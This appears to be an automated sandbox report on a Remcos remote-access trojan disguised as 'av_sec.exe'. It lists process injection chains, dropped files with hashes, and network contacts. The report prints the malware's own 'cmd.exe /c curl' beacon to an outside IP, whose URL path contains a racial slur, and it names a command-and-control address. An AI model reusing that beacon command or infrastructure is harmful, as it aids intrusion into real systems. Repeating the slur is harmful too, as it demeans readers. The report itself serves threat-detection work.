Malware Analysis Report

2024-11-13 18:49

Sample ID 240422-n4apssbb3t
Target av_sec.exe
SHA256 3bcf561a6a414a306a3196ca7174fd99b966faacb8f0ce4fae4bc72d32a4aebf
Tags
remcos remotehost rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3bcf561a6a414a306a3196ca7174fd99b966faacb8f0ce4fae4bc72d32a4aebf

Threat Level: Known bad

The file av_sec.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost rat

Remcos

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-22 11:56

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-22 11:56

Reported

2024-04-22 11:59

Platform

win7-20240215-en

Max time kernel

117s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

Signatures

Remcos

rat remcos

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2604 set thread context of 2876 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2824 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2824 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2824 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2824 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2204 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2204 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2204 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2204 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2604 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2604 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2876 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2876 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2876 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2876 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2876 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2020 wrote to memory of 2384 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2020 wrote to memory of 2384 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2020 wrote to memory of 2384 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2020 wrote to memory of 2384 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2384 wrote to memory of 2812 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2384 wrote to memory of 2812 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2384 wrote to memory of 2812 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2384 wrote to memory of 2812 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2876 wrote to memory of 2020 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 2020 wrote to memory of 1688 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2020 wrote to memory of 1688 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2020 wrote to memory of 1688 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 2020 wrote to memory of 1688 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\av_sec.exe

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\check1.vbs"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl http://94.156.66.107:9000/hooks/nigger?id=GHPZRGFC

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\kcdwmvakozwgwvpbpmnwpycjxlsie.vbs"

Network

Country Destination Domain Proto
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp

Files

memory/2824-1-0x00000000001D0000-0x00000000001D1000-memory.dmp

memory/2824-0-0x0000000000400000-0x0000000000F64000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\92d15add

MD5 320634072eddd5b14ddddcf0e32d6608
SHA1 d8db9bf00db95b25d2cd8b2c5888d250b535232b
SHA256 bba6f76185241df9bf477ca6c815fb4914d000489ce84f54ed17eeda199a1714
SHA512 8ea9e10a14de6f84041af79548a07936e84ececfdcab9c248aaab4bb80f1e387a6c421afb35e93c619698d6c93b5ebdace3b2f858910a74076c827d5e24971ff

memory/2824-7-0x000007FEF5E70000-0x000007FEF5FC8000-memory.dmp

memory/2824-9-0x000007FEF5E70000-0x000007FEF5FC8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

MD5 a2d70fbab5181a509369d96b682fc641
SHA1 22afcdc180400c4d2b9e5a6db2b8a26bff54dd38
SHA256 8aed681ad8d660257c10d2f0e85ae673184055a341901643f27afc38e5ef8473
SHA512 219c6e7e88004fad9f4392be9a852c58fc43b7f6900e40370991427f37eaea5c18f48d2954f9479dde8bcb787345f4e292d5620add8224aec4d93d7968820b83

\Users\Admin\AppData\Local\Temp\Beaconserver4\rtl120.bpl

MD5 adf82ed333fb5567f8097c7235b0e17f
SHA1 e6ccaf016fc45edcdadeb40da64c207ddb33859f
SHA256 d6dd7a4f46f2cfde9c4eb9463b79d5ff90fc690da14672ba1da39708ee1b9b50
SHA512 2253c7b51317a3b5734025b6c7639105dbc81c340703718d679a00c13d40dd74ccaba1f6d04b21ee440f19e82ba680aa4b2a6a75c618aed91bd85a132be9fc92

memory/2824-25-0x000007FEF5E70000-0x000007FEF5FC8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\vcl120.bpl

MD5 95ecaf8770cb3d948f45588fc04e0dfd
SHA1 49890478b975dcbb7bac20e330d9498312583f85
SHA256 5708ca3e0c822212494d2c4d51b2391904120cc5366adbc46e90fa9183d6b285
SHA512 55fa8098cbbc1503e2603f7dee57173ce429f6f5da8a00b37c79744f6063d2c46918e993712f24a42857b6ff87092fa1b4dc7c8f40483930b596824a6ffcb2bc

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\bronzite.rpm

MD5 6e4ffb2517b3570bf0c6766b8a0253fa
SHA1 2143b82dd1c8c3f4d0e0b146e65667a4e8552a9e
SHA256 d690d10eac73dada021f73aa41e2e5f5f41d043ec3372512e138dc2f77623f41
SHA512 d15317ea42fcb44a247f6300e33f14079e166b8a5bce285099b0ee21c68ce6ed753fcb8279956d27c94deabd28586fc142b1d4b3c852e0b181691dc55c58aa6f

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\globule.jpg

MD5 4b12739a07c02ef25a45d80516a87100
SHA1 d976238dd9a697b7c35f85d3157282dfb68f4522
SHA256 f003145b18b53ca237f3a0c1e7a21481c335467fe265474555dbc8e576d95fb6
SHA512 f91ee89bd928d6880e4c58ffdfea47cd54e3ef38b50181e3717b7cc67ca0e03d764478a34ffccb7d2ddf72f85a1d2940729c79c8d727c960db615921974b7265

memory/2204-32-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2204-33-0x00000000770C0000-0x0000000077269000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\Register.dll

MD5 40b9628354ef4e6ef3c87934575545f4
SHA1 8fb5da182dea64c842953bf72fc573a74adaa155
SHA256 372b14fce2eb35b264f6d4aeef7987da56d951d3a09ef866cf55ed72763caa12
SHA512 02b0ea82efbfbe2e7308f86bfbec7a5109f3fe91d42731812d2e46aebedce50aabc565d2da9d3fbcd0f46febbff49c534419d1a91e0c14d5a80f06b74888c641

memory/2204-51-0x0000000050000000-0x0000000050116000-memory.dmp

memory/2204-54-0x0000000050120000-0x000000005030D000-memory.dmp

memory/2604-58-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2604-59-0x00000000770C0000-0x0000000077269000-memory.dmp

memory/2204-48-0x0000000000400000-0x0000000000421000-memory.dmp

memory/2604-60-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2824-61-0x000007FEF5E70000-0x000007FEF5FC8000-memory.dmp

memory/2604-63-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2604-66-0x0000000050000000-0x0000000050116000-memory.dmp

memory/2876-68-0x00000000746C0000-0x0000000074834000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\9a320874

MD5 7fc367e04dbafab25f83e2e9cefb06cc
SHA1 cb64b8ffcad54cee2081d61f5a8974b0e608a301
SHA256 fc03c90357f6f25a492f4dd2871dc087e220494aa80c5d2ab2217843f91c988b
SHA512 e41d9be708c9950bb33e16213a6d40f485b328438f5b66ac001b7705aaa8be0a698f9b62cd6b552e0e53b38db5c4f501d3da1c27660261e9594917d39ecba906

memory/2876-70-0x00000000770C0000-0x0000000077269000-memory.dmp

memory/2876-116-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2876-117-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2876-119-0x00000000746C0000-0x0000000074834000-memory.dmp

memory/2020-120-0x00000000770C0000-0x0000000077269000-memory.dmp

memory/2020-121-0x00000000000D0000-0x0000000000153000-memory.dmp

memory/2020-125-0x0000000000300000-0x0000000000581000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\check1.vbs

MD5 85a2ebad40c21ba1da77230265b5351f
SHA1 803822e08837ebda5de7dde963e4872ae2fc4c21
SHA256 b5c409cbb25690b000d9d36c3b5170c1e61fff3d89bdaeadf0166ae28b0fdff9
SHA512 77374eb3d9632c45c25c997380eab1ee338fbe659a24679b3cf28e76d67ffa71e2d2ea326181909d06970dca0e92b5528c1e7f9c866493162fd77170f87ea83a

memory/2020-130-0x00000000000D0000-0x0000000000153000-memory.dmp

memory/2020-131-0x00000000000D0000-0x0000000000153000-memory.dmp

memory/2020-135-0x00000000000D0000-0x0000000000153000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\kcdwmvakozwgwvpbpmnwpycjxlsie.vbs

MD5 20194639a471c85332924601e071aec4
SHA1 6a69ca7f78b34ca6a3959236237ef62de1cf09a2
SHA256 43dddf81fa819e8499eb4a24211a2702ee8a3fc04048d4a8e3b3f4f9420c68e8
SHA512 5616837814bf251f1d007cbaf8002aa66b91b199833437ca236507adaa40ece785264da6857445ab8ae958803453af67f631a0ec0cd1c931c7f3e763c24bc079

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-22 11:56

Reported

2024-04-22 11:59

Platform

win10v2004-20240412-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2148 set thread context of 1164 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\Local Settings C:\Windows\SysWOW64\explorer.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2860 wrote to memory of 2052 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2860 wrote to memory of 2052 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2860 wrote to memory of 2052 N/A C:\Users\Admin\AppData\Local\Temp\av_sec.exe C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe
PID 2052 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2052 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2052 wrote to memory of 2148 N/A C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe
PID 2148 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2148 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2148 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 2148 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe C:\Windows\SysWOW64\cmd.exe
PID 1164 wrote to memory of 4396 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1164 wrote to memory of 4396 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1164 wrote to memory of 4396 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1164 wrote to memory of 4396 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 4396 wrote to memory of 1392 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4396 wrote to memory of 1392 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4396 wrote to memory of 1392 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 1392 wrote to memory of 2132 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 1392 wrote to memory of 2132 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 1392 wrote to memory of 2132 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2132 wrote to memory of 2860 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2132 wrote to memory of 2860 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2132 wrote to memory of 2860 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1164 wrote to memory of 4396 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 4396 wrote to memory of 1944 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4396 wrote to memory of 1944 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe
PID 4396 wrote to memory of 1944 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\av_sec.exe

"C:\Users\Admin\AppData\Local\Temp\av_sec.exe"

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Users\Admin\AppData\Roaming\Beaconserver4\RttHlp.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\check1.vbs"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl http://94.156.66.107:9000/hooks/nigger?id=JIXWESNH

C:\Windows\SysWOW64\curl.exe

curl http://94.156.66.107:9000/hooks/nigger?id=JIXWESNH

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\xnalpexzlvrzcykqtzz.vbs"

Network

Country Destination Domain Proto
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 156.33.209.4.in-addr.arpa udp
US 8.8.8.8:53 21.114.53.23.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 17.143.109.104.in-addr.arpa udp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
US 8.8.8.8:53 155.57.33.178.in-addr.arpa udp
NL 94.156.66.107:9000 tcp
FR 178.33.57.155:443 tcp
FR 178.33.57.155:443 tcp
US 8.8.8.8:53 241.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 219.138.73.23.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 13.73.50.20.in-addr.arpa udp

Files

memory/2860-0-0x0000000000CA0000-0x0000000001804000-memory.dmp

memory/2860-1-0x0000023D38F10000-0x0000023D38F11000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\794a03f7

MD5 320634072eddd5b14ddddcf0e32d6608
SHA1 d8db9bf00db95b25d2cd8b2c5888d250b535232b
SHA256 bba6f76185241df9bf477ca6c815fb4914d000489ce84f54ed17eeda199a1714
SHA512 8ea9e10a14de6f84041af79548a07936e84ececfdcab9c248aaab4bb80f1e387a6c421afb35e93c619698d6c93b5ebdace3b2f858910a74076c827d5e24971ff

memory/2860-7-0x00007FFD03090000-0x00007FFD03202000-memory.dmp

memory/2860-9-0x00007FFD03090000-0x00007FFD03202000-memory.dmp

memory/2860-14-0x00007FFD03090000-0x00007FFD03202000-memory.dmp

memory/2860-22-0x00007FFD03090000-0x00007FFD03202000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\RttHlp.exe

MD5 a2d70fbab5181a509369d96b682fc641
SHA1 22afcdc180400c4d2b9e5a6db2b8a26bff54dd38
SHA256 8aed681ad8d660257c10d2f0e85ae673184055a341901643f27afc38e5ef8473
SHA512 219c6e7e88004fad9f4392be9a852c58fc43b7f6900e40370991427f37eaea5c18f48d2954f9479dde8bcb787345f4e292d5620add8224aec4d93d7968820b83

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\rtl120.bpl

MD5 adf82ed333fb5567f8097c7235b0e17f
SHA1 e6ccaf016fc45edcdadeb40da64c207ddb33859f
SHA256 d6dd7a4f46f2cfde9c4eb9463b79d5ff90fc690da14672ba1da39708ee1b9b50
SHA512 2253c7b51317a3b5734025b6c7639105dbc81c340703718d679a00c13d40dd74ccaba1f6d04b21ee440f19e82ba680aa4b2a6a75c618aed91bd85a132be9fc92

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\vcl120.bpl

MD5 95ecaf8770cb3d948f45588fc04e0dfd
SHA1 49890478b975dcbb7bac20e330d9498312583f85
SHA256 5708ca3e0c822212494d2c4d51b2391904120cc5366adbc46e90fa9183d6b285
SHA512 55fa8098cbbc1503e2603f7dee57173ce429f6f5da8a00b37c79744f6063d2c46918e993712f24a42857b6ff87092fa1b4dc7c8f40483930b596824a6ffcb2bc

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\globule.jpg

MD5 4b12739a07c02ef25a45d80516a87100
SHA1 d976238dd9a697b7c35f85d3157282dfb68f4522
SHA256 f003145b18b53ca237f3a0c1e7a21481c335467fe265474555dbc8e576d95fb6
SHA512 f91ee89bd928d6880e4c58ffdfea47cd54e3ef38b50181e3717b7cc67ca0e03d764478a34ffccb7d2ddf72f85a1d2940729c79c8d727c960db615921974b7265

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\bronzite.rpm

MD5 6e4ffb2517b3570bf0c6766b8a0253fa
SHA1 2143b82dd1c8c3f4d0e0b146e65667a4e8552a9e
SHA256 d690d10eac73dada021f73aa41e2e5f5f41d043ec3372512e138dc2f77623f41
SHA512 d15317ea42fcb44a247f6300e33f14079e166b8a5bce285099b0ee21c68ce6ed753fcb8279956d27c94deabd28586fc142b1d4b3c852e0b181691dc55c58aa6f

memory/2052-35-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/2052-36-0x00007FFD12230000-0x00007FFD12425000-memory.dmp

memory/2052-49-0x0000000050000000-0x0000000050116000-memory.dmp

memory/2052-53-0x0000000050120000-0x000000005030D000-memory.dmp

memory/2148-57-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/2052-46-0x0000000000400000-0x0000000000421000-memory.dmp

memory/2148-58-0x00007FFD12230000-0x00007FFD12425000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Beaconserver4\Register.dll

MD5 40b9628354ef4e6ef3c87934575545f4
SHA1 8fb5da182dea64c842953bf72fc573a74adaa155
SHA256 372b14fce2eb35b264f6d4aeef7987da56d951d3a09ef866cf55ed72763caa12
SHA512 02b0ea82efbfbe2e7308f86bfbec7a5109f3fe91d42731812d2e46aebedce50aabc565d2da9d3fbcd0f46febbff49c534419d1a91e0c14d5a80f06b74888c641

memory/2148-59-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/2860-60-0x00007FFD03090000-0x00007FFD03202000-memory.dmp

memory/2148-62-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/2148-67-0x0000000050000000-0x0000000050116000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\84805a5f

MD5 7b3cd0605ae084b071f870e32cc5adee
SHA1 b65c49d3299716474dc3682f4c80ecdc290add15
SHA256 79423972e0c008d546bf9b83e888d99a7e62bd615033b27cbf0e69b0c31c0bb6
SHA512 c895d88a90b244e03238ba645e24f960e3f6658326b870cb6e03fc01c1fe993bb0880fa069c48fe87274136e1c22b0f64e42779ced6697ffe67aff9bfc40b08e

memory/1164-65-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/1164-69-0x00007FFD12230000-0x00007FFD12425000-memory.dmp

memory/1164-71-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/1164-72-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/1164-74-0x0000000074CA0000-0x0000000074E1B000-memory.dmp

memory/4396-75-0x00007FFD12230000-0x00007FFD12425000-memory.dmp

memory/4396-76-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4396-78-0x00000000009E0000-0x0000000000E13000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\check1.vbs

MD5 85a2ebad40c21ba1da77230265b5351f
SHA1 803822e08837ebda5de7dde963e4872ae2fc4c21
SHA256 b5c409cbb25690b000d9d36c3b5170c1e61fff3d89bdaeadf0166ae28b0fdff9
SHA512 77374eb3d9632c45c25c997380eab1ee338fbe659a24679b3cf28e76d67ffa71e2d2ea326181909d06970dca0e92b5528c1e7f9c866493162fd77170f87ea83a

memory/4396-83-0x0000000000400000-0x0000000000483000-memory.dmp

memory/4396-87-0x0000000000400000-0x0000000000483000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\xnalpexzlvrzcykqtzz.vbs

MD5 5969db124f530f24b0e1b305ca5a8291
SHA1 5eb79a70cc356a20ba39913489a5cdca36f83011
SHA256 3a4ae3a89b9c1d79fbef06dd969b1307837c0378966c5f7ceddafb1e4660a072
SHA512 0297ea245560c1b5fe64f5a3cd7769ea4e9f09dfc4cc4f16c8d96c5b5d846c8982458991aa143ea5a103436a03c5e7d5b7769b2b87bca5565e856de960e2e290